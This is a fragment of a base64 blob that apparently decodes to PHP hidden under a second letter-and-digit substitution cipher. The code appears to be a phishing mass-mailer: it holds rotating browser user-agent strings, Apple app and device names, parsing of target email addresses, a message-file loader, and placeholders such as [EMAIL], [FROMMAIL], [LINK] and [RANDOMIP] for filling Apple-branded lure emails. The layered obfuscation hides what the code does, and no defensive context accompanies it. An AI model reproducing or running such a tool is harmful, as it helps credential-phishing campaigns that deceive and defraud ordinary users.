OVCBlLmEpIEFwcGw1VzViSzR0L2lvNy42NiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS9hby4wLjZhNzYuYWUgUzFmMXI0L2lvNy42NicsDQogICAgICAgICdNMno0bGwxL2kuMCAoVzRuZDJ3cyBOVCBlLjApIHk0OyBBcHBsNVc1Yks0dC9vdWllZTcuNmFhYTYgKEtIVE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvYW8uMC42YTc2LmFlIFMxZjFyNC91aW9lZTcuNmFhNicsDQogICAgICAgICdNMno0bGwxL2kuMCAoVzRuZDJ3cyBOVCBlLmE7IFdPV2V1KSBBcHBsNVc1Yks0dC9pbzcuNjYgKEtIVE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvYW8uMC42YTc2LjY3IFMxZjFyNC9pbzcuNjYnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFc0bmQyd3MgTlQgZS5hKSBBcHBsNVc1Yks0dC9pbzcudSAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS9hYS4wLjZhYTkuOXUgUzFmMXI0L2lvNy51JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChNMWM0bnQyc2g7IEludDVsIE0xYyBPUyBYIDYwX2VfMCkgQXBwbDVXNWJLNHQvaW83LnUgKEtIVE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvYWEuMC42YWE5Ljc5IFMxZjFyNC9pbzcudScsDQogICAgICAgICdNMno0bGwxL2kuMCAoVzRuZDJ3cyBOVCBlLjYpIEFwcGw1VzViSzR0L2lvNy5hIChLSFRNTCwgbDRrNSBHNWNrMikgQ2hyMm01L2FhLjAuNmE2ZS4wIFMxZjFyNC9pbzcuYScsDQogICAgICAgICdNMno0bGwxL2kuMCAoVzRuZDJ3cyBOVCBlLjY7IFdPV2V1KSBBcHBsNVc1Yks0dC9pbzcuNiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS9hYS4wLjZhMDcuNiBTMWYxcjQvaW83LjYnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFg2NjsgQ3JPUyA0ZThlIGFhZTguNjY2LjApIEFwcGw1VzViSzR0L2lvZS42NiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS9hMC4wLjY2b2EuaTcgUzFmMXI0L2lvZS42NicsDQogICAgICAgICdNMno0bGwxL2kuMCAoVzRuZDJ3cyBOVCBlLjY7IFdPV2V1KSBBcHBsNVc1Yks0dC9pb2UuZSAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS9hMC4wLjYwOWEuMCBTMWYxcjQvaW9lLmUnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFc0bmQyd3MgTlQgZS5hKSBBcHBsNVc1Yks0dC9pb2UuZSAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS9hMC4wLjYwOTAuMCBTMWYxcjQvaW9lLmUnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFc0bmQyd3MgTlQgZS5hOyBXT1dldSkgQXBwbDVXNWJLNHQvaW83LjYgKEtIVE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvNjkuNzcub3UuaSBTMWYxcjQvaW83LjYnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFg2NjsgTDRuM3ggeDhlX2V1KSBBcHBsNVc1Yks0dC9pb2UuaSAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82OS4wLjYwOHUuOSBTMWYxcjQvaW9lLmknLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFg2NjsgRnI1NUJTRCAxbWRldSkgQXBwbDVXNWJLNHQvaW9lLmkgKEtIVE1MIGw0azUgRzVjazIpIENocjJtNS82OS4wLjYwOHUuaWUgUzFmMXI0LzZFQWU5JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChXNG5kMndzIE5UIGUuMCkgQXBwbDVXNWJLNHQvaW9lLmkgKEtIVE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvNjkuMC42MDh1Lm9lIFMxZjFyNC9pb2UuaScsDQogICAgICAgICdNMno0bGwxL2kuMCAoVzRuZDJ3cyBOVCBlLjY7IFdPV2V1KSBBcHBsNVc1Yks0dC9pb2UubyAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82OS4wLjYwZW8uMCBTMWYxcjQvaW9lLm8nLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFc0bmQyd3MgTlQgaS42KSBBcHBsNVc1Yks0dC9pb2UubyAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82OS4wLjYwZW8uMCBTMWYxcjQvaW9lLm8nLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKE0xYzRudDJzaDsgSW50NWwgTTFjIE9TIFggNjBfOF8wKSBBcHBsNVc1Yks0dC9pb2UubyAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82OS4wLjYwZW8uMCBTMWYxcjQvaW9lLm8nLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFc0bmQyd3MgTlQgZS5hKSBBcHBsNVc1Yks0dC9pb2UubyAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82OS4wLjYwZWEuMCBTMWYxcjQvaW9lLm8nLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFc0bmQyd3MgTlQgZS42OyBXT1dldSkgQXBwbDVXNWJLNHQvaW9lLm8gKEtIVE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvNjkuMC42MGVhLjAgUzFmMXI0L2lvZS5vJywNCiAgICAgICAgJ00yejRsbDEvaS4wIChXNG5kMndzIE5UIGUuYSkgQXBwbDVXNWJLNHQvaW9lLm8gKEtIVE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvNjkuMC42MGU2LjYgUzFmMXI0L2lvZS5vJywNCiAgICAgICAgJ00yejRsbDEvaS4wIChXNG5kMndzIE5UIGUuNjsgV09XZXUpIEFwcGw1VzViSzR0L2lvZS5vIChLSFRNTCwgbDRrNSBHNWNrMikgQ2hyMm01LzY5LjAuNjBlNi42IFMxZjFyNC9pb2UubycsDQogICAgICAgICdNMno0bGwxL2kuMCAoVzRuZDJ3cyBOVCBlLjYpIEFwcGw1VzViSzR0L2lvZS5vIChLSFRNTCwgbDRrNSBHNWNrMikgQ2hyMm01LzY5LjAuNjBlNi42IFMxZjFyNC9pb2UubycsDQogICAgICAgICdNMno0bGwxL2kuMCAoVzRuZDJ3cyBOVCBlLmEpIEFwcGw1VzViSzR0L2lvZS5vIChLSFRNTCwgbDRrNSBHNWNrMikgQ2hyMm01LzY5LjAuNjBlNi4wIFMxZjFyNC9pb2UubycsDQogICAgICAgICdNMno0bGwxL2kuMCAoWDY2OyBMNG4zeCB4OGVfZXUpIEFwcGw1VzViSzR0L2lvaS5hdSAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82OS4wLjYwaWkuNiBTMWYxcjQvaW9pLmF1JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChXNG5kMndzIE5UIGUuYTsgV09XZXUpIEFwcGw1VzViSzR0L2lvaS5hdSAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82OS4wLjYwaWkuNiBTMWYxcjQvaW9pLmF1JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChNMWM0bnQyc2g7IEludDVsIE0xYyBPUyBYIDYwXzdfYSkgQXBwbDVXNWJLNHQvaW9pLmF1IChLSFRNTCwgbDRrNSBHNWNrMikgQ2hyMm01LzY5LjAuNjBpaS42IFMxZjFyNC9pb2kuYXUnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKE0xYzRudDJzaDsgSW50NWwgTTFjIE9TIFggNjBfN19vKSBBcHBsNVc1Yks0dC9pb2kuYWEgKEtIVE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvNjkuMC42MHU3LjAgUzFmMXI0L2lvaS5hYScsDQogICAgICAgICdNMno0bGwxL2kuMCAoWDY2OyBMNG4zeCB4OGVfZXUpIEFwcGw1VzViSzR0L2lvaS5hNiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82OS4wLjYwdWEuMCBTMWYxcjQvaW9pLmE2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChYNjY7IEw0bjN4IDRlOGUpIEFwcGw1VzViSzR0L2lvaS5hNiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82OS4wLjYwdTYuMCBTMWYxcjQvaW9pLmE2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChNMWM0bnQyc2g7IEludDVsIE0xYyBPUyBYIDYwXzdfbykgQXBwbDVXNWJLNHQvaW9pLmEwIChLSFRNTCwgbDRrNSBHNWNrMikgQ2hyMm01LzY5LjAuNjBvZS43IFMxZjFyNC9pb2kuYTAnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFc0bmQyd3MgTlQgZS42KSBBcHBsNVc1Yks0dC9pb2kuYSAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82OC5lLjg3YS4wIFMxZjFyNC9pb2kuYSBVTlRSVVNURUQvNi4wIG9ncHAtZ2IxIFVOVFJVU1RFRC82LjAnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKE0xYzRudDJzaDsgQU1EIE0xYyBPUyBYIDYwXzhfYSkgQXBwbDVXNWJLNHQvaW9pLmFhIChLSFRNTCwgbDRrNSBHNWNrMikgQ2hyMm01LzY4LmUuODdhJywNCiAgICAgICAgJ00yejRsbDEvaS4wIChYNjY7IENyT1MgNGU4ZSA2ZWUwLmk3LjApIEFwcGw1VzViSzR0L2lvaS42OSAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82OC4wLjYwYWkudWUgUzFmMXI0L2lvaS42OScsDQogICAgICAgICdNMno0bGwxL2kuMCAoVzRuZDJ3cyBOVCBlLjA7IFdPV2V1KSBBcHBsNVc1Yks0dC9pb2kuNjkgKEtIVE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvNjguMC42MGFpLnVpIFMxZjFyNC9pb2kuNjknLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKE0xYzRudDJzaDsgSW50NWwgTTFjIE9TIFggNjBfN19hKSBBcHBsNVc1Yks0dC9pb2kuNjkgKEtIVE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvNjguMC42MGFpLnVpIFMxZjFyNC9pb2kuNjknLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKE0xYzRudDJzaDsgSW50NWwgTTFjIE9TIFggNjBfZV84KSBBcHBsNVc1Yks0dC9pb2kuNjkgKEtIVE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvNjguMC42MGFpLnVpIFMxZjFyNC9pb2kuNjknLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFg2NjsgTDRuM3ggeDhlX2V1KSBBcHBsNVc1Yks0dC9pb2kuNjYgKEtIVE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvNjcuMC45ZW8uZWUgUzFmMXI0L2lvaS42NicsDQogICAgICAgICdNMno0bGwxL2kuMCAoWDY2OyBMNG4zeCA0ZThlKSBBcHBsNVc1Yks0dC9pb2kuNjYgKEtIVE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvNjcuMC45ZW8uZWUgUzFmMXI0L2lvaS42NicsDQogICAgICAgICdNMno0bGwxL2kuMCAoVzRuZDJ3cyBOVCBlLmE7IFdPV2V1KSBBcHBsNVc1Yks0dC9pb2kuNjYgKEtIVE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvNjcuMC45ZW8uZWUgUzFmMXI0L2lvaS42NicsDQogICAgICAgICdNMno0bGwxL2kuMCAoVzRuZDJ3cyBOVCBlLmEpIEFwcGw1VzViSzR0L2lvaS42NiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82Ny4wLjllby5lZSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChXNG5kMndzIE5UIGUuNjsgV09XZXUpIEFwcGw1VzViSzR0L2lvaS42NiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82Ny4wLjllby5lZSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChXNG5kMndzIE5UIGUuNikgQXBwbDVXNWJLNHQvaW9pLjY2IChLSFRNTCwgbDRrNSBHNWNrMikgQ2hyMm01LzY3LjAuOWVvLmVlIFMxZjFyNC9pb2kuNjYnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFc0bmQyd3MgTlQgZS4wOyBXT1dldSkgQXBwbDVXNWJLNHQvaW9pLjY2IChLSFRNTCwgbDRrNSBHNWNrMikgQ2hyMm01LzY3LjAuOWVvLmVlIFMxZjFyNC9pb2kuNjYnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFc0bmQyd3MgTlQgZS4wKSBBcHBsNVc1Yks0dC9pb2kuNjYgKEtIVE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvNjcuMC45ZW8uZWUgUzFmMXI0L2lvaS42NicsDQogICAgICAgICdNMno0bGwxL2kuMCAoVzRuZDJ3cyBOVCBpLjYpIEFwcGw1VzViSzR0L2lvaS42NiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82Ny4wLjllby5lZSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChNMWM0bnQyc2g7IEludDVsIE0xYyBPUyBYIDYwXzdfbykgQXBwbDVXNWJLNHQvaW9pLjY2IChLSFRNTCwgbDRrNSBHNWNrMikgQ2hyMm01LzY3LjAuOWVvLmVlIFMxZjFyNC9pb2kuNjYnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKE0xYzRudDJzaDsgSW50NWwgTTFjIE9TIFggNjBfN19hKSBBcHBsNVc1Yks0dC9pb2kuNjYgKEtIVE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvNjcuMC45ZW8uZWUgUzFmMXI0L2lvaS42NicsDQogICAgICAgICdNMno0bGwxL2kuMCAoTTFjNG50MnNoOyBJbnQ1bCBNMWMgT1MgWCA2MF9lXzgpIEFwcGw1VzViSzR0L2lvaS42NiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82Ny4wLjllby5lZSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChNMWM0bnQyc2g7IEludDVsIE0xYyBPUyBYIDYwX2lfOCkgQXBwbDVXNWJLNHQvaW9pLjY2IChLSFRNTCwgbDRrNSBHNWNrMikgQ2hyMm01LzY3LjAuOWVvLmVlIFMxZjFyNC9pb2kuNjYnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFg2NjsgTDRuM3ggeDhlX2V1KSBBcHBsNVc1Yks0dC9pb2kuNjYgKEtIVE1MLCBsNGs1IEc1Y2syKSBVYjNudDMvNjYuNjAgQ2hyMm00M20vNjcuMC45ZW8uZWkgQ2hyMm01LzY3LjAuOWVvLmVpIFMxZjFyNC9pb2kuNjYnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFg2NjsgTDRuM3ggeDhlX2V1KSBBcHBsNVc1Yks0dC9pb2kuNjYgKEtIVE1MLCBsNGs1IEc1Y2syKSBVYjNudDMvNjYuMHUgQ2hyMm00M20vNjcuMC45ZW8uZWkgQ2hyMm01LzY3LjAuOWVvLmVpIFMxZjFyNC9pb2kuNjYnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFg2NjsgTDRuM3ggeDhlX2V1KSBBcHBsNVc1Yks0dC9pb2kuNjYgKEtIVE1MLCBsNGs1IEc1Y2syKSBVYjNudDMvNjAuNjAgQ2hyMm00M20vNjcuMC45ZW8uZWkgQ2hyMm01LzY3LjAuOWVvLmVpIFMxZjFyNC9pb2kuNjYnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFg2NjsgTDRuM3ggNGU4ZSkgQXBwbDVXNWJLNHQvaW9pLjY2IChLSFRNTCwgbDRrNSBHNWNrMikgVWIzbnQzLzY2LjYwIENocjJtNDNtLzY3LjAuOWVvLmVpIENocjJtNS82Ny4wLjllby5laSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChYNjY7IEw0bjN4IDRlOGUpIEFwcGw1VzViSzR0L2lvaS42NiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82Ny4wLjllby5laSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChYNjY7IEZyNTVCU0QgMW1kZXUpIEFwcGw1VzViSzR0L2lvaS42NiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82Ny4wLjllby5laSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChXNG5kMndzIE5UIGUuYTsgV09XZXUpIEFwcGw1VzViSzR0L2lvaS42NiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82Ny4wLjllby5laSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChNMWM0bnQyc2g7IEludDVsIE0xYyBPUyBYIDYwXzdfYSkgQXBwbDVXNWJLNHQvaW9pLjY2IChLSFRNTCwgbDRrNSBHNWNrMikgQ2hyMm01LzY3LjAuOWVvLmVpIFMxZjFyNC9pb2kuNjYnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKE0xYzRudDJzaDsgSW50NWwgTTFjIE9TIFggNjBfN18wKSBBcHBsNVc1Yks0dC9pb2kuNjYgKEtIVE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvNjcuMC45ZW8uZWkgUzFmMXI0L2lvaS42NicsDQogICAgICAgICdNMno0bGwxL2kuMCAoTTFjNG50MnNoOyBJbnQ1bCBNMWMgT1MgWCA2MF9lX3UpIEFwcGw1VzViSzR0L2lvaS42NiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82Ny4wLjllby5laSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChYNjY7IEw0bjN4IHg4ZV9ldSkgQXBwbDVXNWJLNHQvaW9pLjY2IChLSFRNTCwgbDRrNSBHNWNrMikgVWIzbnQzLzY2LjB1IENocjJtNDNtLzY3LjAuOWVvLmllIENocjJtNS82Ny4wLjllby5pZSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChYNjY7IEw0bjN4IDRlOGUpIEFwcGw1VzViSzR0L2lvaS42NiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82Ny4wLjllby5pZSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChXNG5kMndzIE5UIGUuNjsgV09XZXUpIEFwcGw1VzViSzR0L2lvaS42NiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82Ny4wLjllby5pZSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChXNG5kMndzIE5UIGUuMDsgV09XZXUpIEFwcGw1VzViSzR0L2lvaS42NiAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82Ny4wLjllby5pZSBTMWYxcjQvaW9pLjY2JywNCiAgICAgICAgJ00yejRsbDEvaS4wIChYNjY7IEw0bjN4IHg4ZV9ldSkgQXBwbDVXNWJLNHQvaW9pLjY2IChLSFRNTCwgbDRrNSBHNWNrMikgQ2hyMm01LzY3LjAuOWVvLjZhIFMxZjFyNC9pb2kuNjYnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFc0bmQyd3MgTlQgZS42OyBXT1dldSkgQXBwbDVXNWJLNHQvaW9pLjggKEtIVE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvNjcuMC45dTAuMCBTMWYxcjQvaW9pLjgnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFc0bmQyd3MgTlQgZS42KSBBcHBsNVc1Yks0dC9pb2kuNyAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82ZS4wLjk2YS43NyBTMWYxcjQvaW9pLjcxZC00bWNqMXAxbi1zeTJzeTFtMW4teGtnNG9scWcwbyF3Z3onLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFg2NjsgQ3JPUyA0ZThlIDY2OW8uNmk4LjApIEFwcGw1VzViSzR0L2lvaS43IChLSFRNTCwgbDRrNSBHNWNrMikgQ2hyMm01LzZlLjAuOTZhLjdpIFMxZjFyNC9pb2kuNycsDQogICAgICAgICdNMno0bGwxL2kuMCAoVzRuZDJ3cyBOVCBlLjA7IFdPV2V1KSBBcHBsNVc1Yks0dC9pb2kuNyAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82ZS4wLjk2YS43aSBTMWYxcjQvaW9pLjcnLA0KICAgICAgICAnTTJ6NGxsMS9pLjAgKFc0bmQyd3MgTlQgZS42OyBXT1dldSkgQXBwbDVXNWJLNHQvaW9pLjcgKEtIVE1MLCBsNGs1IEc1Y2syKSBDaHIybTUvNmUuMC45NmEuZW8gUzFmMXI0L2lvaS43eHNpRDlyUkRGcGdhZycsDQogICAgICAgICdNMno0bGwxL2kuMCAoVzRuZDJ3cyBOVCBlLjYpIEFwcGw1VzViSzR0L2lvaS44IChLSFRNTCwgbDRrNSBHNWNrMikgQ2hyMm01LzZlLjAuOTZhLmVvIFMxZjFyNC9pb2kuOCcsDQogICAgICAgICdNMno0bGwxL2kuMCAoVzRuZDJ3cyBOVCBpLmE7IFdPV2V1KSBBcHBsNVc1Yks0dC9pb2kuNyAoS0hUTUwsIGw0azUgRzVjazIpIENocjJtNS82ZS4wLjk2YS5lbyBTMWYxcjQvaW9pLjcnDQogICAgKTsNCiAgICBzaDNmZmw1KCRVQV8xcnIpOw0KICAgICRVQSA9IDFycjF5X3NoNGZ0KCRVQV8xcnIpOw0KDQogIC8vIEFwcGw1IEFwcHMNCiAgJEFwcGw1X0FwcHNfMXJyID0gMXJyMXkoDQogICAgICAgICc0TTVzczFnNScsDQogICAgICAgICc0Q2wyM2QnLA0KICAgICAgICAnRjFjNVQ0bTUnLA0KICAgICAgICAnNFRoM241cycsDQogICAgICAgICdBcHBsNSBQaDJ0MnMnLA0KICAgICAgICAnRjRuZCBNeSBQaDJuNScNCiAgICApOw0KICAgIHNoM2ZmbDUoJEFwcGw1X0FwcHNfMXJyKTsNCiAgICAkQXBwbDVfQXBwcyA9IDFycjF5X3NoNGZ0KCRBcHBsNV9BcHBzXzFycik7DQoNCiAgLy9BcHBsNSBENXNrdDJwDQogICAgICAkQXBwbDVfRDV2NGM1X0Q1c2t0MnBfQXJyID0gMXJyMXkoDQogICAgICAgICdNMWNCMjJrUHIyaSxpJywNCiAgICAgICAgJ00xY0IyMmtQcjJpLG8nLA0KICAgICAgICAnTTFjQjIya1ByMmksYScsDQogICAgICAgICdNMWNCMjJrUHIyNyw2JywNCiAgICAgICAgJ00xY0IyMmtQcjJlLDYnLA0KICAgICAgICAnTTFjQjIya1ByMmUsYScsDQogICAgICAgICdNMWNCMjJrUHIyOCw2JywNCiAgICAgICAgJ00xY0IyMmtQcjI4LGEnLA0KICAgICAgICAnTTFjQjIya1ByMjgsbycsDQogICAgICAgICdNMWNCMjJrUHIyOSw2JywNCiAgICAgICAgJ00xY0IyMmtQcjI5LGEnLA0KICAgICAgICAnTTFjQjIya1ByMjYwLDYnLA0KICAgICAgICAnTTFjQjIya1ByMjYwLGEnLA0KICAgICAgICAnTTFjQjIya1ByMjY2LDYnLA0KICAgICAgICAnTTFjQjIya1ByMjY2LGEnLA0KICAgICAgICAnTTFjQjIya1ByMjY2LG8nLA0KICAgICAgICAnTTFjQjIya1ByMjY2LHUnLA0KICAgICAgICAnTTFjQjIya1ByMjY2LGknLA0KICAgICAgICAnTTFjQjIya1ByMjZvLDYnLA0KICAgICAgICAnTTFjQjIya1ByMjZvLGEnLA0KICAgICAgICAnTTFjQjIya1ByMjZvLG8nLA0KICAgICAgICAnTTFjQjIya1ByMjZ1LDYnLA0KICAgICAgICAnTTFjQjIya1ByMjZ1LGEnLA0KICAgICAgICAnTTFjQjIya1ByMjZ1LG8nDQogICAgKTsNCiAgICBzaDNmZmw1KCRBcHBsNV9ENXY0YzVfRDVza3QycF9BcnIpOw0KICAgICRBcHBsNV9ENXY0YzVfRDVza3QycCA9IDFycjF5X3NoNGZ0KCRBcHBsNV9ENXY0YzVfRDVza3QycF9BcnIpOw0KDQogIC8vMXBwbDUgcGgybjUNCiAgICRBcHBsNV9QaDJuNV8xcnIgPSAxcnIxeSgNCiAgICAgICAgJzRQaDJuNSB1JywNCiAgICAgICAgJzRQaDJuNSB1UycsDQogICAgICAgICc0UGgybjUgaScsDQogICAgICAgICc0UGgybjUgaWMnLA0KICAgICAgICAnNFBoMm41IGlzJywNCiAgICAgICAgJzRQaDJuNSBlJywNCiAgICAgICAgJzRQaDJuNSBlIFBsM3MnLA0KICAgICAgICAnNFBoMm41IGVzJywNCiAgICAgICAgJzRQaDJuNSBlcyBQbDNzJywNCiAgICAgICAgJzRQaDJuNSBTRScsDQogICAgICAgICc0UGgybjUgNycsDQogICAgICAgICc0UGgybjUgNyBQbDNzJywNCiAgICAgICAgJzRQaDJuNSA4JywNCiAgICAgICAgJzRQaDJuNSA4IFBsM3MnLA0KICAgICAgICAnNFBoMm41IFgnDQogICAgKTsNCiAgICBzaDNmZmw1KCRBcHBsNV9QaDJuNV8xcnIpOw0KICAgICRBcHBsNV9QaDJuNSA9IDFycjF5X3NoNGZ0KCRBcHBsNV9QaDJuNV8xcnIpOw0KDQogIC8vbDRzdGJyMndzNXINCiAgJEw0c3RfQnIyd3M1cl8xcnIgPSAxcnIxeSgNCiAgICAgICAgJ0cyMmdsNSBDaHIybTUnLA0KICAgICAgICAnTTJ6NGxsMSBGNHI1ZjJ4JywNCiAgICAgICAgJ1MxZjFyNCcsDQogICAgICAgICdPcDVyMScsDQogICAgICAgICdJbnQ1cm41dCBFeHBsMnI1cicsDQogICAgKTsNCiAgICBzaDNmZmw1KCRMNHN0X0JyMndzNXJfMXJyKTsNCiAgICAkTDRzdF9CcjJ3czVyID0gMXJyMXlfc2g0ZnQoJEw0c3RfQnIyd3M1cl8xcnIpOw0KDQogIC8vM3M1cm4xbTUNCiAgJHAxcnRzID0gNXhwbDJkNSgiQCIsJDVtMTRsKTsNCiAgJDNzNXJuMW01NW0xNGwgPSAkcDFydHNbMF07DQoNCg0KICAvL2QybTE0bm4xbTUNCiAgJGQybTE0bjVtMTRsZjNsbCA9IHMzYnN0cihzdHJyY2hyKCQ1bTE0bCwgIkAiKSwgNik7DQoNCiAgIC8vZDJtMTRubjFtNWYzbGwNCiAgJGQybTE0bjVtMTRsZjNsbGI1ZjJyNSA9IHMzYnN0cihzdHJyY2hyKCQ1bTE0bCwgIkAiKSwgNik7DQogICRkMm0xNG41bTE0bGYzbGwxcnIxeSA9IDV4cGwyZDUoIi4iLCRkMm0xNG41bTE0bGYzbGxiNWYycjUpOw0KICAkZDJtMTRuNW0xNGwgPSAkZDJtMTRuNW0xNGxmM2xsMXJyMXlbMF07DQoNCg0KICAgICRkMXQ1ID0gZDF0NSgnRiBkLCBZLCBoOjQgQScpOw0KICAgICRmNGw1ID0gZjRsNV9nNXRfYzJudDVudHMoJG1zZ2Y0bDUpOw0KDQogICAkMXJyICA9IDFycjF5KA0KICAgICAgICAnW0VNQUlMXScsDQogICAgICAgICdbU1VCSkVDVF0nLA0KICAgICAgICAnW1JBTkRPTUlQXScsDQogICAgICAgICdbRlJPTU1BSUxdJywNCiAgICAgICAgJ1tGUk9NTkFNRV0nLA0KICAgICAgICAnW0xJTktdJywNCiAgICAgICAgJ1tyMW5kc3RyNG5nXScsDQogICAgICAgICdbUkFORFNUUklOR10nLA0KICAgICAgICAnW0NPVU5UUlldJywNCiAgICAgICAgJ1tEQVRFXScsDQogICAgICAgICdbTlVNQkVSNl0nLA0KICAgICAgICAnW05VTUJFUmFdJywNCiAgICAgICAgJ1tOVU1CRVJvXScsDQogICAgICAgICdbTlVNQkVSdV0nLA0KICAgICAgICAnW05VTUJFUmldJywNCiAgICAgICAgJ1tOVU1CRVJlXScsDQogICAgICAgICdbTlVNQkVSN10nLA0KICAgICAgICAnW05VTUJFUjhdJywNCiAgICAgICAgJ1tOVU1CRVI5XScsDQogICAgICAgICdbTlVNQkVSNjAnLA0KICAgICAgICAnW2NoMXI2XScsDQogICAgICAgICdbY2gxcmFdJywNCiAgICAgICAgJ1tjaDFyb10nLA0KICAgICAgICAnW2NoMXJ1XScsDQogICAgICAgICdbY2gxcmldJywNCiAgICAgICAgJ1tjaDFyZV0nLA0KICAgICAgICAnW2NoMXI3XScsDQogICAgICAgICdbY2gxcjhdJywNCiAgICAgICAgJ1tjaDFyOV0nLA0KICAgICAgICAnW2NoMXI2MF0nLA0KICAgICAgICAnW0NIQVI2XScsDQogICAgICAgICdbQ0hBUmFdJywNCiAgICAgICAgJ1tDSEFSb10nLA0KICAgICAgICAnW0NIQVJ1XScsDQogICAgICAgICdbQ0hBUmldJywNCiAgICAgICAgJ1tDSEFSZV0nLA0KICAgICAgICAnW0NIQVI3XScsDQogICAgICAgICdbQ0hBUjhdJywNCiAgICAgICAgJ1tDSEFSOV0nLA0KICAgICAgICAnW0NIQVI2MF0nLA0KICAgICAgICAnW1BDX09TXScsDQogICAgICAgICdbUENfQnIyd3M1cl0nLA0KICAgICAgICAnW0NPVU5UUllDSVRZXScsDQogICAgICAgICdbQU5EUk9JRF9PU10nLA0KICAgICAgICAnW0FORFJPSURfQnIyd3M1cl0nLA0KICAgICAgICAnW1VBXScsDQogICAgICAgICdbQVBQTEVBUFBTXScsDQogICAgICAgICdbQVBQTEVQQ10nLA0KICAgICAgICAnW0FQUExFUEhPTkVTXScsDQogICAgICAgICdbVU5JVkVSU0FM